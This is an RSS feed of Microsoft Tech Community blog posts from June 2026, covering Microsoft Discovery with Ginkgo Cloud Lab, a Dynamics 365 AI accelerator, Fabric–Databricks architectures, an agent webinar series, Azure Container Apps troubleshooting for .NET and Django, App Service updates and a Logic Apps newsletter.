rss.livelink.threads-in-node

Ginkgo Bioworks and Microsoft Discovery: Bringing agentic AI to biological discovery

NihitPokhrel — Tue, 09 Jun 2026 19:00:00 GMT

Introduction

Biological discovery is inherently iterative and non-linear. Progress comes through cycles of hypothesis, experimentation, refinement, and review across data, tools, and teams. At Microsoft Build 2026, Microsoft announced general availability of Microsoft Discovery to support exactly this kind of work, as a comprehensive platform for building and governing agentic AI workflows across scientific and engineering disciplines. That vision becomes especially powerful in collaboration with Ginkgo Bioworks. The goal is to enable researchers to scope and plan experiments in Microsoft Discovery and run them directly on Ginkgo Cloud Lab, without requiring in-house automation.

This collaboration brings together complementary strengths. Microsoft Discovery provides the reasoning, orchestration, and compute layer for scientific work: helping researchers turn goals into structured workflows that connect data, models, tools, and evidence. Ginkgo Bioworks contributes autonomous laboratory infrastructure that can execute those workflows and return results for analysis.

Together, this creates a lab-in-the-loop model for biological research. This workflow is traditionally described as a continuous Design–Make–Test–Analyze loop, where scientists generate an experiment plan, hand off validated protocols for lab execution, and then learn from the resulting data to inform the next step. Rather than treating experimentation as a disconnected process, the interplay between Microsoft Discovery and Ginkgo agentic system is designed to create a tighter connection between scientific reasoning and real-world validation.

Integration

One example of this tighter reasoning loop under development is an RNA design-to-data workflow. In this scenario, Microsoft Discovery uses AI agents to help plan and scope the experiment, while Ginkgo’s automated lab synthesizes DNA templates, performs in vitro transcription, purifies, and quantitates yield and purity, and returns the resulting data for downstream analysis. In addition, Ginkgo Cloud Lab provides users with full transparency on the cost of the experiment before any lab experimentation.

Here is a walk-through of a project aiming to estimate the cost of RNA design, illustrating how customers can use Microsoft Discovery with Ginkgo RNA production offering:

Describe the experiment in human language
Provide any additional information if required
Validate the cost estimate of the Ginkgo Cloud Lab service
Place the order
Store the results and share

Conclusion

This is a real-world Design–Make–Test–Analyze use case that demonstrates how agentic workflows can adapt based on experimental results and accelerate R&D compared with more manual approaches. This matters because modern life sciences teams need more than isolated predictions. They need workflows that connect long term scientific context, biological data, experimental design, and validation while preserving transparency and keeping experts in control. The collaboration with Ginkgo Bioworks extends that approach into biological experimentation. It also reflects a broader principle behind Microsoft Discovery: extensibility. Microsoft Discovery is a platform that can connect Microsoft innovations with partner tools, models, and datasets. In this case, that means pairing Microsoft Discovery’s agentic orchestration with Ginkgo’s autonomous lab execution to support a more connected model for biological discovery.

“Together, agentic AI and autonomous labs will change every part of the scientific process. Iteration cycles will get faster, experiments will require less manual hands-on time, and computational analyses will become more systematic and exhaustive. By making both easier to use, Microsoft and Ginkgo aim to bring greater speed, scale and reproducibility to pre-clinical research.”

— Jason Kelly, CEO, Ginkgo Bioworks

By connecting agentic AI with autonomous experimentation, Ginkgo Bioworks and Microsoft are working toward a future in which researchers can move faster from hypothesis to insight and do so with greater speed, scale, and reproducibility.

For more information on Microsoft Discovery, click here.

For more information on Ginkgo Bioworks, click here.

From AI Suggestions to Autonomous CRM Actions in Dynamics 365

SachinDas — Tue, 09 Jun 2026 16:39:43 GMT

🔷 Executive Summary

Most AI implementations in Dynamics 365 start—and end—with case summarization.

While useful, summarization alone does not fundamentally transform service operations.

In this post, I’ll walk through a CRM Copilot Agent Accelerator built on Microsoft Power Platform that goes far beyond summarization. It introduces a modular, extensible AI architecture that evolves from:

AI-generated insights
to predictive intelligence
to autonomous execution

This approach enables organizations to reduce manual effort, improve decision quality, and scale support operations without additional Copilot licensing.

🔷 The Business Problem

In most enterprise service operations:

Agents spend 30–40% of their time on repetitive tasks
Case triage requires manual reading of history
Decisions vary significantly between agents
Knowledge base usage is inconsistent
Escalations are reactive rather than predictive

The result?

Slower resolutions
Increased SLA breaches
Poor customer experience
High onboarding time for new agents

🔷 Solution Overview: CRM Copilot Agent Accelerator

The solution introduces a layered AI-first architecture built on:

Dynamics 365 + Dataverse (data foundation)
Power Automate (orchestration)
AI Builder (GPT models) (intelligence layer)
PCF Controls + Teams integration (user experience)

At its core, the accelerator:

Generates AI summaries + next actions
Stores them in Dataverse (persistent & reusable)
Extends capabilities through modular add-on packs

👉 These add-ons transform AI from a helper into an operational engine.

🔷 Architecture Overview

The solution follows a layered enterprise architecture model:

1. Trigger Layer

Case create/update
Email, chat, or call events
SLA checkpoints

2. Orchestration Layer

Power Automate flows
Dataverse plugins
Optional Copilot Studio agents

3. AI Processing Layer

AI Builder prompts (summarization, classification)
Sentiment detection
Risk prediction

4. Data Layer

Dataverse entities (Case, Account, Knowledge Base)
AI-enriched fields
Analytics tables

5. Experience Layer

Model-driven apps
PCF widgets
Teams Adaptive Cards
Power BI dashboards

👉 This architecture allows scalable AI enrichment across the entire CRM lifecycle

🔷 The Real Innovation: Modular Add-On Packs

The real differentiation is not the base AI capability.

It is the introduction of eight independently deployable add-on packs.

🔹 Key Add-On Categories

Add-On	Capability
PCF Widgets	Visual AI insights (risk radar, similar cases)
Predictive Engine	SLA & escalation prediction
Teams Integration	AI insights pushed to Teams
Customer 360	Persona + churn intelligence
Knowledge Intelligence	Self-improving KB loop
Multilingual AI	Cross-language support
Voice & Omnichannel	Call/chat AI summarization
Agentic Automation	AI takes action automatically

👉 These packs address 10+ gaps not covered by D365 Copilot

🔷 Deep Dive: Key Differentiators

1. From Reactive to Predictive AI

Instead of reacting to issues:

SLA breach risk is calculated in real time
Escalation probability is predicted before it happens
Supervisors receive proactive alerts

👉 This reduces escalations by up to 25–40%

2. Visual AI Experience (PCF Controls)

Instead of text-heavy UI:

Radar charts show case complexity & risk
Similar case panels enable faster resolution
Coaching tickers keep guidance always visible

👉 This dramatically improves agent usability and adoption

3. Self-Improving Knowledge Base

A major gap in most systems:

Knowledge is consumed but never improved

This solution:

Detects KB gaps automatically
Generates AI-drafted knowledge articles
Enables continuous learning

👉 Leads to 3× growth in KB coverage

4. From AI Suggestion → AI Action

Most AI stops at suggestion.

This accelerator evolves into Agentic AI:

Stage	Capability
AI Informs	Summary + Insights
AI Suggests	Recommendations
AI Drafts	Email + KB articles
AI Acts	Tasks, routing, execution
AI Orchestrates	Multi-agent automation

👉 AI starts doing the work — not just guiding it

🔷 Business Impact

Organizations adopting this accelerator can expect:

✅ 90% reduction in case triage time
✅ 40% reduction in misrouted cases
✅ 60–70% improvement in handling efficiency
✅ Faster agent onboarding (less than a day)
✅ Reduced dependency on Copilot licensing

👉 All achieved using existing Power Platform investments

🔷 Future Roadmap

The current solution sets the foundation for:

✅ Copilot Studio multi-agent orchestration
✅ Advanced ML-based predictions
✅ Vector-based knowledge retrieval (RAG)
✅ Integration with Microsoft Fabric for intelligence
✅ Autonomous CRM workflows

👉 The evolution leads toward fully AI-driven service operations

🔷 Why This Matters

This is not just another AI demo.

It represents a shift from:

❌ “AI helps agents”
➡️ ✅ “AI becomes part of the operation”

And does so using:

No custom AI infrastructure
No additional Copilot licensing
Native Microsoft ecosystem

🔷 Call to Action

If you’re working on Dynamics 365, Power Platform, or AI-driven CRM solutions:

✅ Start with AI enrichment
✅ Extend with predictive capabilities
✅ Move toward agentic automation

This accelerator pattern can help you move faster, scale better, and deliver measurable value.

🔷 Closing Thought

“The future of CRM is not AI assisting users —
it is AI transforming how work gets done.”

🔷 References & Further Reading

The concepts described in this CRM Copilot Agent Accelerator are built on capabilities available across Microsoft Dynamics 365, Dataverse, Power Platform, Azure AI, and Copilot technologies.

Official Microsoft references:

📌 Dynamics 365 Customer Service

📌 Microsoft Dataverse

📌 Power Automate

📌 AI Builder

📌 Microsoft Copilot Studio

📌 Power Apps Component Framework (PCF)

📌 Microsoft Teams Integration

📌 Omnichannel & Conversational AI

📌 Customer Insights & Customer 360

Dynamics 365 Customer Insights Documentation

📌 Knowledge Management

Knowledge Management in Dynamics 365 Customer Service

📌 Power BI Analytics

Power BI Documentation

📌 Azure AI & Generative AI

📌 Retrieval-Augmented Generation (RAG)

📌 Microsoft Fabric

Microsoft Fabric Documentation

📌 Power Platform Architecture & Well-Architected Guidance

These resources provide the foundational building blocks for implementing AI-assisted, predictive, and agentic experiences across Dynamics 365 Customer Service and the broader Microsoft Power Platform ecosystem.

Streaming and Batch Data Architectures with Microsoft Fabric to Azure Databricks

Rafia_Aqil — Tue, 09 Jun 2026 18:48:03 GMT

Author's: Oscar Alvarado oscaralvarado and Rafia Aqil Rafia_Aqil

Note: This article describes a solution idea. Your cloud architect can use this guidance to help visualize the major components for a typical implementation. Use this article as a starting point to design a well-architected solution that aligns with your workload’s specific requirements.

As organizations adopt Microsoft Fabric as their unified analytics platform, it has become a leading path for ingesting both streaming and batch data into Azure Databricks. This article covers integration approaches -via Microsoft Fabric- and details the five Fabric-specific paths that connect OneLake/ADLS and Databricks for end-to-end data processing.

Medallion Architecture

The following data flow corresponds to the architecture diagram:

Data is ingested through Microsoft Fabric (via Mirroring, RTI, or Data Factory) lands data into OneLake/ADLS. With the medallion pattern, consisting of Bronze, Silver, and Gold storage layers, organizations have flexible access and extendable data processing:

Bronze – Raw data entry point. Data arrives in its source format and is converted to the open, transactional Delta Lake format.
Silver – Optimized for BI and data science. ETL and stream processing tasks filter, clean, transform, join, and aggregate Bronze data into curated datasets using SQL, Python, R, or Scala.
Gold – Enriched data ready for analytics and reporting. Analysts use Power BI, PySpark, SQL, or Excel for insights and queries.

Fabric Integration Paths

Figure: Five Microsoft Fabric integration paths into Azure Databricks

Note: This architecture establishes a complete loop-back between Microsoft Fabric and Azure Databricks, enabling Gold layer tables to be seamlessly mirrored back to Microsoft Fabric for dashboarding through Azure Databricks Mirroring.

The following five paths connect Microsoft Fabric to Azure Databricks:

Fabric Mirroring to OneLake – A low-cost, low-latency turnkey solution that creates a replica of data from operational sources (SQL Server, Azure Cosmos DB, Oracle) in OneLake. Handles the initial load and ongoing CDC changes automatically, keeping data continuously up to date.
Fabric RTI to OneLake – Fabric Real-Time Intelligence ingests streaming event data into OneLake with sub-second latency, enabling real-time analytics on live event streams.
Fabric Data Factory to OneLake – Orchestrates ingestion from diverse sources not covered by Mirroring (such as Sybase or REST APIs) and lands data in OneLake, ensuring complete source coverage.
OneLake to Azure Databricks – Unity Catalog connections to OneLake, secured via Managed Identities from Microsoft Entra ID, allow Databricks to query OneLake data items as a native catalog without data duplication.
Fabric Data Factory to Azure Databricks (direct) – Orchestrates ingestion from diverse sources directly into Azure Data Lake Storage (ADLS), where Azure Databricks picks up the data for medallion architecture processing.

Requirement-Specific Notes

Data Ingestion

Microsoft Fabric Mirroring currently supports SQL Server, Azure Cosmos DB, and Oracle as source systems. For sources not yet supported by Mirroring—such as Sybase or REST APIs—use Fabric Data Factory pipelines to ensure full coverage across all data systems.

Once data is in the landing zone with the correct format, Mirroring’s CDC replication starts automatically and manages the complexity of merging changes (updates, inserts, and deletes) into Delta tables, keeping data in Fabric continuously up to date. Learn more about open mirroring

Storage Format and Time Travel

OneLake supports Delta tables, enabling schema evolution and time travel across all data stored in the lakehouse. Learn more about OneLake and Delta tables

Security

Encryption at rest: OneLake automatically encrypts all data at rest using Microsoft-managed keys, compliant with FIPS 140-2 standards. Learn more

Encryption in transit: All data in transit is encrypted using TLS 1.2 or higher, securing data movement between Fabric, OneLake, and Azure Databricks. Learn more

Data Governance

OneLake can be registered and scanned by Microsoft Purview, enabling cataloging of stored metadata and data quality profiling. This protects sensitive information, including PHI and PII, across ingestion and analytics workflows. Learn more about Purview with Fabric Lakehouse

Operations and Monitoring

Use the Fabric monitor hub to track pipeline health, Spark application performance, and ingestion job status across all Fabric workloads. Learn more about the Fabric monitor hub

Scenario Details

This architecture applies to any organization that needs to unify streaming and batch data at scale. Common characteristics include:

Multiple operational data sources (databases, SaaS applications, event streams)
A requirement to process both real-time and historical data in the same platform
Governance and compliance requirements for sensitive data (PHI, PII, financial records)
Analytics consumers spanning BI (Power BI), data science (Databricks notebooks), and ML workloads

Potential Use Cases

Healthcare and life sciences – PHI/PII protection via Purview; real-time patient telemetry + batch EHR analytics
Financial services – Real-time fraud detection streams + batch regulatory reporting
Retail and e-commerce – Streaming clickstream analytics + batch inventory and supply chain processing
Energy and utilities – IoT sensor telemetry streaming + batch consumption analytics

Next Steps

Announcing the Path to Production for Agents Webinar Series

brauerblogs — Tue, 09 Jun 2026 12:58:42 GMT

Many organizations have made significant progress exploring AI—building pilots, prototypes, and proofs of concept. Yet a common challenge remains: how do you move from promising experiments to production-ready systems that are secure, scalable, and trusted? Join us for the Path to Production Webinar Series on July 27-28, a two-day deep dive designed to help technical teams operationalize AI and agent-based solutions using proven architecture patterns, governance models, and engineering practices.

Use this link to register: Path to Production for Agents

Why this series matters

A large percentage of AI initiatives never make it to production—not because of lack of ambition, but because organizations struggle to establish trustworthy, governed AI systems; build scalable architectural foundations; manage risk, cost, and operational complexity; and ensure reliability in non-deterministic systems. This webinar series addresses those challenges head-on with concrete, actionable guidance spanning the full lifecycle of production AI systems.

What attendees will learn

This series delivers an implementation-focused roadmap for building, deploying, and operating AI agents at enterprise scale. Each session dives deep into governance, architecture patterns, orchestration, security, evaluation, and observability - with reference architectures and real-world engineering examples. Learn how to design scalable agent systems, integrate with enterprise data and services, and apply best practices for reliability and performance.

Attendees will leave with practical techniques and proven patterns to confidently ship production-grade agent solutions. After the workshop, customers who have Unified Contracts are eligible for a packaged set of engagements that will implement this guidance with your Microsoft cloud solution architects. Otherwise, contact your partner to learn more about taking advantage of the Frontier Transformation Offer through the Frontier Accelerate program.

Session overview

Day	Session	Focus	Speaker
July 27	AI Center of Excellence (CoE) & Governance	Create a governance framework with quality gates that helps organizations deliver secure, responsible, trustworthy AI at scale.	Akiriti Mehta Divye Sheth
July 27	AI Landing Zones	Build a production-ready reference architecture for AI applications and agents with guardrails for networking, identity, security, and cost governance.	Nadeem Ishqair Bilal Amjad
July 27	Agentic Architecture	Adopt a governance-first, multi-agent architecture blueprint that embeds controls from user channels and orchestration through integration layers, data, and models.	Yeliz Kilinc Nour Shaker
July 28	AgentOps	Apply DevOps principles to production AI, including evaluation, CI/CD quality gates, observability, monitoring, red teaming, and incident response.	Paulo Lacerda Richard Healy DB Lee
July 28	AI Security, Trust & Observability	Address prompt injection, data leakage, autonomous tool misuse, and AI-specific observability requirements for traceability, safety, and auditability.	Yuening Chen Raaid Mahbub
July 28	Solution Optimization	Reduce token cost, cut latency, tune RAG, optimize multi-agent coordination, and apply FinOps practices for sustainable scale.	Tanuja Bhamidipati Fatos Ismali

Day 1: Establishing the foundation for production AI

July 27

AI Center of Excellence (CoE) & Governance

Why do so many AI initiatives die in the PoC graveyard? Because organizations cannot trust the AI. This session shows how an AI CoE plus governance framework creates a uniform quality gate at every layer of your AI application in an organization for delivering a single, organization-wide view of secure, responsible, trustworthy AI that is ready to scale.

AI Landing Zones

Scaling AI from experimentation to production demands a secure, governed, and scalable foundation. This session explores how AI Landing Zones provide a production-ready reference architecture for deploying AI applications and agents with the right guardrails for networking, identity, security, and cost governance, aligned with the Cloud Adoption Framework and Well-Architected best practices. Attendees will learn how to design AI platforms that balance innovation with compliance, accelerate time-to-production using validated architectures and infrastructure-as-code, and integrate AI services into enterprise environments.

Agentic Architecture

Many enterprise AI pilots stall not for lack of technology, but because they lack a trustworthy architecture. This session introduces a governance-first, multi-agent architecture blueprint that closes the trust gap by embedding uniform controls and quality checks at every level, from user channels and agent orchestration through integration layers to core data and models, under a common governance and security framework. Attendees will learn how this layered agentic architecture creates a reliable, enterprise-wide AI fabric that organizations can adopt with confidence, aligning AI initiatives with high standards of trust, interoperability, and scale.

Day 2: Operating and scaling AI in production

July 28

AgentOps

This session covers the full lifecycle of deploying and operating agentic AI solutions in production. We will explore how teams can move from successful prototypes to production-ready agents using evaluation, CI/CD quality gates, observability, continuous monitoring, scheduled red teaming, and incident response practices. We will also cover how to apply DevOps principles to the unique challenges of AI systems, including non-deterministic behavior, prompt regression, model drift, tool-calling risk, and changing user behavior. Attendees will learn a practical AgentOps operating model for improving release confidence, detecting regressions earlier, and connecting agent operations back to Microsoft Foundry and Azure Monitor.

AI Security, Trust & Observability

This session focuses on securing AI systems in production, addressing risks beyond traditional application security such as prompt injection, data leakage, and autonomous tool misuse. It applies a defense-in-depth approach across identity, data protection, orchestration, and runtime controls. It also introduces AI-specific observability for trust and compliance, including traceability, safety and security monitoring, and auditability, ensuring AI systems are secure, controllable, and compliant at scale.

Solution Optimization

Getting AI to production is only half the battle. Once agentic workloads are live, organizations face compounding challenges including rising token costs, latency that degrades user trust, RAG pipelines that return noise instead of signal, and orchestration overhead that multiplies with every agent added to the mesh. This session provides a practical engineering playbook for optimizing agentic AI across the full stack, from model selection and inference routing through prompt compression, RAG tuning, caching strategies, and multi-agent coordination. It also covers the FinOps discipline required to control cost at scale, including capacity sizing, batch processing, and intelligent model routing. Attendees will leave with actionable patterns for reducing inference cost, cutting latency, and scaling reliably across regions.

Who should attend

Cloud and solution architects
AI and ML engineers and developers
Platform engineering and infrastructure teams
Technical decision-makers driving AI transformation initiatives

If your team is working to move AI beyond prototypes into production-scale systems, this series will provide directly applicable guidance for architecture, governance, operations, and optimization.

Next steps after the webinar series:

We will conduct a personalized assessment of your organization’s readiness to adopt AI agents at scale.

Call to action

Join us on July 27-28 to accelerate your path from AI experimentation to trusted, enterprise-scale production systems. Registration details can be added to this announcement before publication.

Use this link to register: Path to Production for Agents

Troubleshooting Azure Container Apps and Jobs for .NET and Django Workloads

BhaktiRath95 — Tue, 09 Jun 2026 07:58:44 GMT

Introduction

Deploying to Azure Container Apps feels like a huge step forward — you get serverless containers, automatic scaling, built-in ingress, and managed environments without managing Kubernetes directly. But when something goes wrong and your container refuses to start, or your Container App Job silently fails, it can feel like debugging inside a black box.

This first part of our four-part series walks through the most common deployment and startup failures you will hit when running .NET and Django applications on Azure Container Apps and Container App Jobs. We cover what the real error looks like, why it is happening under the hood, and what you need to do to fix it — step by step.

The Real-World Problem: "My Container App is stuck in a restart loop and I have no idea why"

This is probably the most common thing engineers report when they first move workloads to Azure Container Apps. The deployment finishes successfully, the revision shows as active, but the app never becomes healthy. In the Azure portal it cycles between `Running` and `Degraded`, and in the logs you see cryptic exit codes or — even worse — nothing at all.

The root causes almost always fall into one of these buckets:

The container exits immediately because the process crashes on startup (misconfiguration, missing secrets, unhandled exceptions).
The health probe fails because the app takes too long to start or is listening on the wrong port.
A Container App Job never completes because it times out or the job process exits with a non-zero code.

Let us walk through each of these in detail.

Scenario 1: Your .NET Application Crashes at Startup

What You See

Your Container App revision goes into a restart loop. You check the Log Analytics workspace and see something like this:

ContainerAppConsoleLogs_CL | where ContainerAppName_s == "my-dotnet-api" | where TimeGenerated > ago(30m) | project TimeGenerated, Log_s | order by TimeGenerated desc

The output shows:

Unhandled exception. System.InvalidOperationException: Unable to resolve service for type 'MyApp.Data.AppDbContext'

at Microsoft.Extensions.DependencyInjection.ServiceProviderServiceExtensions.GetRequiredService

...

Application is shutting down.

Or even more commonly with Entity Framework Core:

fail: Microsoft.EntityFrameworkCore.Database.Connection

An error occurred using the connection to database 'mydb' on server 'myserver.database.windows.net'.

System.Net.Sockets.SocketException: Connection refused

Why This Happens

When .NET 6+ applications start up, they run the entire `WebApplication.Build()` pipeline before accepting traffic. If any registered service — like a database context — cannot be constructed or if the connection string is missing or wrong, the application throws an unhandled exception and the process exits with a non-zero code. Container Apps detects this exit and restarts the container. This cycle repeats indefinitely.

The most frequent trigger is missing or incorrectly named environment variables and secrets. In local development you rely on `appsettings.Development.json` or `user secrets`, but in Container Apps those files are not present unless you explicitly copy them into the image (which you should never do for secrets).

Step-by-Step Fix

Step 1 — Verify your secrets and environment variables are configured correctly.

In the Azure portal, navigate to your Container App → Configuration → Secrets and Environment variables. Make sure every value your app reads from IConfiguration is defined here.

From the CLI you can inspect and update them like this:

# Add or update a secret reference az containerapp secret set --name my-dotnet-api --resource-group my-rg --secrets "connectionstring=Server=myserver.database.windows.net;..." # Reference that secret as an environment variable az containerapp update --name my-dotnet-api --resource-group my-rg --set-env-vars "ConnectionStrings__DefaultConnection=secretref:connectionstring"

Step 2 — Make sure your .NET app reads configuration correctly.

The naming convention that trips up almost everyone: Azure Container Apps uses double underscores (`__`) to represent the colon (`:`) separator in .NET configuration keys. So `ConnectionStrings:DefaultConnection` becomes `ConnectionStrings__DefaultConnection` as the environment variable name.

// This reads from "ConnectionStrings__DefaultConnection" env var automatically builder.Services.AddDbContext<AppDbContext>(options => options.UseSqlServer(builder.Configuration.GetConnectionString("DefaultConnection")));

Step 3 — Add a startup health check that gives meaningful feedback.

Configure a liveness probe with a generous initial delay to avoid a container being killed before it has had time to start:

# In your Container App YAML configuration probes: - type: Liveness httpGet: path: /health port: 8080 initialDelaySeconds: 30 periodSeconds: 10 failureThreshold: 5 - type: Readiness httpGet: path: /health/ready port: 8080 initialDelaySeconds: 15 periodSeconds: 5 failureThreshold: 3

Add the corresponding health endpoint in your .NET app:

// Program.cs builder.Services.AddHealthChecks() .AddSqlServer( builder.Configuration.GetConnectionString("DefaultConnection")!, name: "database", tags: new[] { "ready" }); app.MapHealthChecks("/health"); app.MapHealthChecks("/health/ready", new HealthCheckOptions { Predicate = check => check.Tags.Contains("ready") });

Step 4 — Pull the raw container logs using the CLI to see exactly what happened before the container exited:

az containerapp logs show --name my-dotnet-api --resource-group my-rg --type console --tail 50

Scenario 2: Your Django Application Fails to Start

What You See

Your Django app deploys, the container starts, but within seconds it exits. In the logs you see one of these common errors:

django.core.exceptions.ImproperlyConfigured: Set the SECRET_KEY environment variable

Or:

django.db.utils.OperationalError: could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

Or the static files problem that catches almost everyone:

[Errno 2] No such file or directory: '/app/staticfiles'

Why This Happens

Django validates its configuration eagerly when the WSGI/ASGI server starts. If `SECRET_KEY` is not set, if `ALLOWED_HOSTS` does not include the container's hostname or the ingress FQDN, or if `DEBUG=True` is set in a configuration branch that requires a proper database, Django refuses to serve any requests.

The static files error comes up because many teams forget to run `python manage.py collectstatic` as part of the container image build process. The `STATIC_ROOT` directory simply does not exist at runtime.

Step-by-Step Fix

Step 1 — Set required Django environment variables in your Container App.

az containerapp secret set --name my-django-app --resource-group my-rg --secrets "django-secret-key=your-very-secret-key-here" "db-password=your-db-password" az containerapp update --name my-django-app --resource-group my-rg --set-env-vars "DJANGO_SECRET_KEY=secretref:django-secret-key" "DEBUG=False" "ALLOWED_HOSTS=my-django-app.happyfield-abc123.eastus.azurecontainerapps.io" "DATABASE_URL=secretref:db-password"

Step 2 — Run `collectstatic` during Docker image build, not at runtime.*

This is a very common mistake. Static files should be baked into the image, not generated when the container starts. Update your `Dockerfile`:

FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY . . # Collect static files at build time with a dummy SECRET_KEY RUN SECRET_KEY=build-time-placeholder python manage.py collectstatic --noinput EXPOSE 8000 CMD ["gunicorn", "myproject.wsgi:application", "--bind", "0.0.0.0:8000", "--workers", "2", "--timeout", "120"]

Step 3 — Make sure Gunicorn is configured correctly for Container Apps.

The most important thing to verify is that Gunicorn is binding to `0.0.0.0` and not `127.0.0.1`. Container Apps expects the application to listen on all interfaces so that the ingress layer can reach it. Also make sure the port matches what you defined in your Container App's ingress target port:

# Set ingress to match Gunicorn's bind port az containerapp ingress update --name my-django-app --resource-group my-rg --target-port 8000 --type external

Step 4 — Handle database migrations safely.

Never run `python manage.py migrate` as part of your container startup command. If you have multiple replicas, all of them will try to run migrations simultaneously, which can corrupt your schema. Instead, use a Container App Job to run migrations as a pre-deployment step:

# Create a one-time Container App Job to run migrations az containerapp job create --name django-migrate-job --resource-group my-rg --environment my-aca-env --trigger-type Manual --replica-timeout 300 --image myregistry.azurecr.io/my-django-app:latest --command "python" --args "manage.py" "migrate" --env-vars "DJANGO_SECRET_KEY=secretref:django-secret-key" "DATABASE_URL=secretref:db-password" # Execute the migration job before deploying the new revision az containerapp job start --name django-migrate-job --resource-group my-rg

Scenario 3: Your Container App Job Fails Silently or Times Out

What You See

You trigger a Container App Job — maybe it is a nightly data processing job, a scheduled report generator, or a cleanup task — and in the Azure portal the execution shows as Failed with no helpful error message. Or it shows as Running for an unusually long time and then transitions to Failed with a timeout error.

Why This Happens

Container App Jobs have a `replicaTimeout` property. If your job process does not complete within that window, Azure Container Apps kills it and marks the execution as failed. This is different from Container Apps (services) where the container keeps running. Jobs are expected to run to completion and exit with code `0`.

The silent failure happens when your job process exits with a non-zero exit code but does not write anything to `stdout` or `stderr`. Container Apps records the exit code but has no log content to show you.

Step-by-Step Fix

Step 1 — Make your job emit logs to stdout explicitly.

Every print statement, every log line should go to `stdout` or `stderr`. In Python:

import sys import logging logging.basicConfig( level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s", handlers=[logging.StreamHandler(sys.stdout)] ) logger = logging.getLogger(__name__) def main(): logger.info("Job starting") try: # your job logic here process_data() logger.info("Job completed successfully") sys.exit(0) except Exception as e: logger.error(f"Job failed with error: {e}", exc_info=True) sys.exit(1)

In .NET:

// Use ILogger which writes to stdout by default in containers public class MyJob { private readonly ILogger<MyJob> _logger; public MyJob(ILogger<MyJob> logger) { _logger = logger; } public async Task RunAsync(CancellationToken cancellationToken) { _logger.LogInformation("Job starting at {Time}", DateTimeOffset.UtcNow); try { await ProcessDataAsync(cancellationToken); _logger.LogInformation("Job completed successfully"); } catch (Exception ex) { _logger.LogError(ex, "Job failed"); throw; // Let the process exit with non-zero code } } }

Step 2 — Set an appropriate replica timeout and retry count.

Be realistic about how long your job takes in production, then add a buffer:

az containerapp job update --name my-processing-job --resource-group my-rg --replica-timeout 1800 # 30 minutes --replica-retry-limit 2 # Retry twice before marking as failed

Step 3 — Check job execution history and logs.

# List recent job executions and their status az containerapp job execution list --name my-processing-job --resource-group my-rg --output table # Get logs for a specific execution az containerapp job execution show --name my-processing-job --resource-group my-rg --job-execution-name my-processing-job-abc123

From Log Analytics:

ContainerAppConsoleLogs_CL | where ContainerAppName_s == "my-processing-job" | where TimeGenerated > ago(24h) | project TimeGenerated, Log_s, ContainerName_s | order by TimeGenerated desc

Summary: Your Startup Troubleshooting Checklist

Before you dig into complex diagnostics, run through this checklist whenever a Container App or Job fails to start:

Are all required environment variables and secrets defined and correctly referenced?
Is the application listening on `0.0.0.0` and on the port that matches the ingress target port?
Does the Dockerfile copy everything needed for the app to run (migrations, static files, etc.)?
Are health probes configured with enough initial delay for the app to start?
For jobs: is the replica timeout long enough, and does the process exit with code 0 on success?
Is the container registry accessible from the Container Apps environment (managed identity or registry credentials configured)?
Are the resource allocations (CPU and memory) sufficient for the application to start without OOM-killing?

References and Sample Resources

Use these resources for deeper implementation details and production-ready patterns.

Azure Container Apps docs (core)

.NET and Django references

Sample repositories

What's Next

In Part 2 of this series, we move past startup failures and look at what happens after your app is running — the frustrating world of cold starts, scaling delays, and startup latency spikes that make your application feel slow under real production traffic.

Part of the series: Troubleshooting Azure Container Apps in Production

Next: Part 2 — From Slow to Snappy: Performance Tuning Cold Starts and Scaling Delays in Azure Container Apps

What's new in Azure App Service at #MSBuild 2026

Mayunk_Jain — Mon, 08 Jun 2026 22:30:40 GMT

At Microsoft Build 2026, Azure App Service introduced a powerful set of updates designed to help organizations accelerate their journey into AI, without increasing complexity or cost. These innovations focus on one clear business outcome: enabling teams to build, deploy, and scale AI-powered applications and agents faster, more securely, and with greater operational efficiency.

A key highlight is the new Easy AI experience, which allows existing web apps to become AI-ready with no rearchitecting required. With capabilities like built-in Model Context Protocol (MCP), developers can instantly expose app functionality as agent-ready endpoints, enabling AI agents to interact with business logic securely and seamlessly. This dramatically reduces development time, allowing teams to move from idea to intelligent application in a fraction of the usual effort.

Security and compliance are also strengthened with the general availability of Isolated v4 for Azure App Service Environments, delivering improved performance for customers that need single-tenant isolation and strong data residency guarantees. For enterprises operating in regulated industries, this ensures AI applications meet strict governance requirements without sacrificing scalability or speed.

For modernization scenarios, Managed Instance on Azure App Service simplifies the migration of legacy applications, including those with OS-level dependencies. Faster restarts, enhanced diagnostics, and AI-assisted migration workflows help organizations modernize existing systems cost-effectively—avoiding expensive rewrites while unlocking AI capabilities. Recent updates include an AI-assisted approach to migrating legacy IIS applications using a multi-agent workflow powered by MCP. Managed Instance is supported on both Premium v4 and Isolated v4, laying the foundation for a modern compute infrastructure across the board.

Operational efficiency is further enhanced through platform and CLI improvements designed for the “agent era.” From structured deployment diagnostics to optimized Python pipelines delivering faster deployments, these updates reduce friction and infrastructure overhead, lowering total cost of ownership.

Together, these innovations position Azure App Service as a future-ready platform where businesses can rapidly build intelligent, agent-driven applications securely, efficiently, and at scale.

👉 Learn more in the full announcement: Deep dive into Azure App Service Build 2026 updates

Logic Apps Aviators Newsletter - June 2026

WSilveira — Mon, 08 Jun 2026 19:10:51 GMT

In this issue:

Ace Aviator of the Month
News from our product group
News from our community

Ace Aviator of the Month

June 2026's Ace Aviator: Florian De Langhe

LinkedIn: https://www.linkedin.com/in/floriandelanghe/

Florian De Langhe Lead Expert/Team Lead - Microsoft Integration @ delaware

What's your role and title? What are your responsibilities?

Lead Expert/Team Lead for the Microsoft Integration team at delaware.
I have a wide range of responsibilities:
- People management
- Resource planning
- Design and operate our integration solutions at our customers, what we brand as "SmartLink".

Next to this, as many of us, I follow the latest AI news closely to keep up to date and try to stay ahead of the curve.

Can you give us some insights into your day-to-day activities?

I wear many hats so no two days look the same. That is also what keeps it interesting.

A typical day starts with reviewing resource planning across our active projects, followed by a technical design review for a new integration. Sprinkle some one-on-one coaching conversations and research into new technologies/features and you have my day.

The balance between People leadership and hands-on technical work is what I enjoy most.

What motivates and inspires you to be an active member of the Aviators/Microsoft community?

I started out being an active member on the Microsoft Logic App forum 10 years ago. I remember going back and forth with Wagner through the forum posts trying to solve questions. Good times.

